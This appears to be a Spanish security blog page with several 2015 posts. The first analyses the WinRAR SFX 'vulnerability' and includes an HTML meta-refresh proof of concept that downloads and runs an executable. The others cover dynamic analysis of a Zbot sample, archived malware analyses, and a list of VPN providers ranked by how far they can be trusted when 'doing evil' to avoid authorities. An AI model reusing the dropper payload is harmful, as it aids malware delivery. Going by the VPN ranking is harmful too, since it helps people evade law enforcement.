¿Es una vulnerabilidad lo de Winrar?

Post publicado en SecurityArtWork el 5 de Octubre de 2015.


El pasado Martes 29 se hacía público por parte del investigador Mohammad Reza Espargham una "vulnerabilidad" (si, con comillas) de ejecución remota de código en la conocida aplicación Winrar para Windows. En concreto en su explicación se mencionaba que la "vulnerabilidad" estaba presente en la ultima version (5.21) para windows tanto para 32 como para 64 bits.

Como si una bola de nieve se tratase se fue expandiendo la noticia por toda la red y muchas empresas, entidades y sitios web especializados en ciberseguridad, la explicaron como si de una importante vulnerabilidad se tratara. Y no es para menos, podria tratarse de un grave problema si no fuera por una serie características que la limitan.

Unos dias más tarde, en un nota del equipo de soporte de Winrar, hacian saber que muchas de las cosas que se estaban escribiendo eran inciertas y que no consideraban que fuera una vulnerabilidad, sino más bien una característica propia del Winrar.

Pero veamos de que va todo esto. En las primeras noticias leiamos que "La vulnerabilidad puede ser utilizada por un atacante para insertar código HTML dentro de la sección "Text to display", en español "Texto e iconos", cuando un usuario esté creando un fichero SFX.

Un fichero SFX es un fichero ejecutable que contenga uno o mas ficheros comprimidos en su interior. Siguiendo las instrucciones de Mohammed Reza, para conseguirlo habia que descargarse Winrar 5.21 (no lo he probado pero me imagino que el problema exista en versiones anteriores tambien), hacer clic con el boton derecho sobre un fichero y escoger la opcion "Añadir al archivo...", esto nos abre el compresor Winrar.

Una vez abierto, seleccionaremos la opcion "Crear un archivo autoextraible"

...y en la solapa "Avanzado", al hacer clic en el botón "Autoextraible"

...meteremos código HTML similar a este en el campo "Texto a mostrar en la ventana".

Esto nos crea un fichero ejecutable que en su interior contiene un fichero comprimido. En este caso un ebook. El fichero resultante es un fichero ejecutable .EXE con formato SFX, es decir autoextraible.

La vulnerabilidad se basa en que al ejecutar este fichero .EXE, la URL indicada en el codigo HTML antes mencionado se descarga y con la opcion "refresh" se ejecuta. Entonces, si la URL que le hemos puesto es, como en este caso la web de Google, al abrir el fichero SFX nos lo va a mostrar en un navegador integrado que tiene el Winrar:

Es decir, el Winrar trae un navegador incrustado. Tras una serie de pruebas, nos enteramos de que se trata del navegador del sistema:

...entre otras pruebas que le hicimos, con lo que supimos que no es un internet explorer normal y que tiene capado los scripts de javascript.

Pues bien, si somos capaces de mostrar HTML, la idea de Mohammed Reza fue... ¿y descargar un malware?. Pues claro, muy facil. En esta prueba, voy a descargar y ejecutar el putty, de la URL http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

Por tanto el codigo HTML quedará asi:


<html>
<head>
<title>poc
<META http-equiv="refresh" content="0; URL=http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe">
</head>
</html>

Y lo cierto es que lo descarga y lo ejecuta:

...no sin antes avisarnos de que es un .exe... que puede dañar el equipo.

¿Y esto lo podríamos evitar?. Mohammed Reza hizo que el ejecutable estuviera en el propio comprometido y al ejecutar un PHP, creaba un pseudo servidor web, asi que instalamos un servidor HTTP simple en la propia maquina, pusimos una URL local y.... el mismo mensaje.

Lo cierto es que, pensamos, aun así podría ser un problema de seguridad, nunca hay que menospreciar la estupidez humana. A no ser que los sistemas antivirus detecten el fichero ejecutable como malware.

Asi que se le inyectamos la URL del ultimo malware detectado en malc0de database:

y esto fue lo que nos salio en virustotal:

Ningún antivirus detecto que fuera un ejecutable malicioso. Y lo cierto es que no lo es... pero tiene una URL hacia un fichero malicioso. Nada mas.

El problema es que el Winrar lo ejecuta... no sin antes avisarte eso si, de que esto podría afectar a tu ordenador.

Ahora bien, si os acordáis, al principio de todo este rollo, indicaba que era una "vulnerabilidad", con comillas. Desde Winrar se dicho por activa y por pasiva, que no es una vullnerabilidad sino de una feature, una característica. Es (o eso pretende ser) una forma de poder documentar lo que esta comprimido mediante HTML.

Personalmente creo que el HTML sobra, pero lo que esta claro es que Winrar ha dicho que no es una vulnerabilidad, no va a sacar CVE y de hecho no va a haber ni siquiera nueva version capando esta "feature".

Y la verdad es que tienen bastante razón. Para que una persona pueda infectarse a través de un fichero autoextraible de Winrar deben fallar muchas medidas de seguridad:

  1. El usuario final debe recibir un correo electrónico con un fichero .EXE adjunto. Todos los clientes de correo y la mayoría de los webmail lo habrian ya filtrado.
  2. Debe ejecutar el ejecutable que viene en el correo, pese a que es la primera regla de seguridad que enseñan en el parvulario.
  3. Debe hacer caso omiso de los avisos que el sistema operativo muestra y que antes hemos visto.
  4. El malware descargado y ejecutado debe burlar las medidas de seguridad (antivirus, etc) instalados en el sistema. Casi el paso más simple de los cuatro.

Es mas, si nos están mandando un fichero ejecutable... y lo vamos a abrir, ¿por que no mandarnos directamente un fichero infectado con malware?. La única diferencia es que Virustotal lo detectará como malicioso y éste no. Se podría considerar a todo este asunto como un "hand-made dropper". Muy facil de crear, muy facil de usar, perfecto para script kiddies y wanabees.

En resumen:

¿Se trata de una vulnerabilidad?. A decir verdad no. El programa Winrar está correctamente escrito. No tiene vulnerbilidades en el código. Se trata pues de un aprovechamiento ilegítimo de una funcionalidad existente y legítima de Winrar.

¿Debería haberse montado el revuelo generado?. Desde mi punto de vista es bueno que se haya informado al publico "de a pie" que los ficheros RAR recibidos, sea por el medio que sea, son potencialmente peligrosos. Y que se debe estar alerta.

¿Deberíamos estar preocupados?. Yo creo que no. Parece poco probable que nadie pueda mandarnos un fichero ejecutable por correo, lo abramos y hagamos caso omiso de los avisos.

jueves, 17 de septiembre de 2015

Análisis dinámico de malware

Para realizar un análisis dinámico de malware es necesario disponer de algunas herramientas preparadas antes de empezar:

  • Una máquina virtual donde se ejecutará la muestra de malware (Por ejemplo un corriente VirtualBox)
  • Un analizador de tráfico de red, por ejemplo Wireshark.
  • Instalar un detector empaquetadores en la maquina virtual, por ejemplo PEID o PE Explorer.
  • Cuckoo Sandbox nos permitirá saber que funciones y API ha llamado el malware, los archivos creados y eliminados, volcados de memoria, capturas de pantalla, entradas del registro modificados, etc)
  • FakeNet es una herramienta que nos permitirá simular una red, para conocer el comportamiento del malware.

Si queremos hacer un análisis más avanzado, tendremos que usar herramientas como:

  • Volatility, para analizar capturas de memoria
  • Yara
  • Hook Analyzer

En esta entrada voy a mostrar un pequeño ejemplo de un análisis dinámico que realicé allá por el año 2012 de una variante del malware zbot.

Inicialmente como vemos, disponemos de una maquina virtual, con el malware ya preparado.

También tenemos preparado el wireshark para analizar el tráfico que salga por la red. Es preferible escuchar en una conexión de red que sólo la vaya a usar nuestra maquina virtual para evitar que el tráfico normal y legitimo de red nos confunda del tráfico causado por el malware.

Para tratar de engañar al malware, se preparó una red falsa con InetSim, aunque se podría haber preparado algo similar con FakeNet

.

Una de las tareas importantes a analizar es la captura de las entradas del registro modificadas. Esto se puede conseguir con el Cuckoo Sandbox u otras herramientas. En la siguiente imagen se utilizí CaptureBat.

Utilizando esta misma herramienta se puede ver que se ha creado un ejecutable en la ruta %ApplicationData%/Lyolxi/raruo.exe. Lógicamente es un nombre y una ruta aleatorios.

Entretanto nos dabamos cuenta de que habia tráfico de red causado por este malware:

Como vemos que es tráfico TCP, podemos consultar el stream de datos gracias al Wireshark:

Por ultimo se puede buscar en multiples lugares de internet en busqueda de información extra. En Virustotal, por ejemplo, en este caso, como sabiamos que se trataba de una muestra de Zbot, se buscó en el Zeus Tracker:

Para continuar con el estudio es necesario suspender la máquina virtual y obtener el fichero que contiene la memoria para pasarsela a Volatitlity:

Con Volatility podemos ver muchas cosas, por ejemplo, el listado de procesos REAL en ejecución, con el comando pslist. Digo real porque un malware puede, mediante técnicas de rootkit, esconderse cuando pedimos ver ese listado de procesos.

También podemos ver que hay un proceso que tiene una conexion de internet abierta, el explorer.exe:

Por ultimo, con el comando malfind, podemos buscar si existe código o DLLs inyectadas en memoria de usuario:

El siguiente paso del análisis dinámico consistiría en una análisis del código ensamblado del malware, pero esto es otro nivel que explicaré otro día:

viernes, 11 de septiembre de 2015

Virus antiguos analizados

Para un proyecto reciente me solicitaban haber realizado al menos 5 analisis de malware en el pasado. Lo cierto es que han sido muchos más de 5, entre los años 2008 y 2012, pero se realizaron para INTECO-CERT, cuya web ahora ha desaparecido. Por esta razón, voy a recuperar estos análisis realizados y los colgaré en este blog, para que sirvan de muestra en caso de que se me consulte en el futuro.


Sality.B- 27/09/2008




















Vundo.NV - 17/12/2008




















Kvadr- 31/03/2009




















VB.ESC- 17/06/2010




















Autorun.BDZ - 21/06/2010




















FakeAV.CFU-16/12/2010




















iTunesHelper - 31/08/2011




















Sisproc.K- 26/11/2012






















Estos son solo 8 ejemplos de los más de 500 virus que fueron analizados por mi para el equipo de INTECO-CERT entre 2008 y 2013.

jueves, 3 de septiembre de 2015

Servicios VPN de todo el mundo

El otro día me interesé en buscar una empresa que me ofreciera un servicio de VPNs que, de ninguna manera, pudiera ser rastreada por las autoridades, saqué un listado bastante completo y me dí cuenta de que todas ellas venden que nunca aportarían sus logs ni aunque recibieran un requerimiento judicial y que, es mas, no almacenaban ningun tipo de información ni sobre los clientes ni sobre sus conexiones. Ambas cosas son inciertas de raíz. Para empezar si se les va apagar tienen que saber qué cliente les va a pagar, información que deben guardar. Bien es cierto que algunas permiten el pago con bitcoins. En cuanto a las IPs de las conexiones, tienen que cumplir la ley. Mas alla de eso no dudo que no almacenen información, pero los datos de conexiones a los que obligan las leyes europeas y americanas ya son suficientes para saber quien es ese cliente. Por tanto, ambas afirmaciones son falsas. Y como leí por ahí, en caso de que el FBI llamara a su puerta, van a acabar ellos en la carcel por tí?. Seguro que no.

Esta web es muy interesante si se necesitan referencias de protección de datos en otros paises (leyes, normas, etc). En dicha web se incluye el siguiente mapa que muestra lo estricta que es la legislación de protección de datos en cada país:

A continuación pongo un listado de proveedores de VPNs de todo el mundo, indicando el país al que pertenecen. Seguro que es un listado infinitamente mejorable, que nadie me pegue por eso. Y basándonos en el mapa anterior, indico los paises de los que me fiaría o no, a la hora de usar VPNs, en caso de querer hacer el mal. Para empezar los de EEUU, de los cuales no me fiaría en absoluto:

HotSpot ShieldEstados Unidos
Private Internet AccessEstados Unidos
Tor GuardEstados Unidos
IP VanishEstados Unidos
BT GuardEstados Unidos
Viking VPNEstados Unidos
AnonymizerEstados Unidos
HideIP VPNEstados Unidos
Slick VPNEstados Unidos
Octane VPNEstados Unidos
Liquid VPNEstados Unidos
UnSpyable VPNEstados Unidos
RAM VPNEstados Unidos
Ace VPNEstados Unidos
VPN UnlimitedEstados Unidos

Los siguientes pertenecen a paises europeos (y anexos), de los cuales para hacer el mal tampoco me fiaría (excepto quizá de los rumanos) dado que tienen una legislación todos ellos similar a la española:

MullVADSuecia
IPredatorSuecia
PRQSuecia
FrootVPNSuecia
AzireVPNSuecia
PrivatVPNSuecia
PrivateVPNSuecia
AirVPNItalia
Free DomeFinlandia
IVPNGibraltar
Express VPNBritish Virgin Islands
SteganosAlemania
FacelessChipre
VPN.ACRumania
IBVPNRumania
VPN BaronRumania
Cyber GhostRumania
ShadeYou VPNHolanda

Luego tenemos paises afines a EEUU/Europa como:

NordVPNPanama
BlacklogicCanadá
CryptoStormCanadá
LokunIslandia
NolimitVPNSingapur
BlackVPNHong Kong
Iron SocketHong Kong
Perfect PrivacyNueva Zelanda
VPN.SAustralia

Encontré unas cuantas asentadas en las islas Seychelles, de las que no se si me fiaría:

SmartDNS ProxySeychelles
Torrent PrivacySeychelles
Proxy.SHSeychelles
AstrillSeychelles
NextGenVPNSeychelles

Y casi de las que mas me fiaría (en caso de estar haciendo el mal) sería de:

Boleh VPNMalasia
Hide.meMalasia
Seed4.meTaiwan
Tiger VPNEslovaquia
Cactus VPNMoldavia
SwitchVPN.toIndia

Saludos!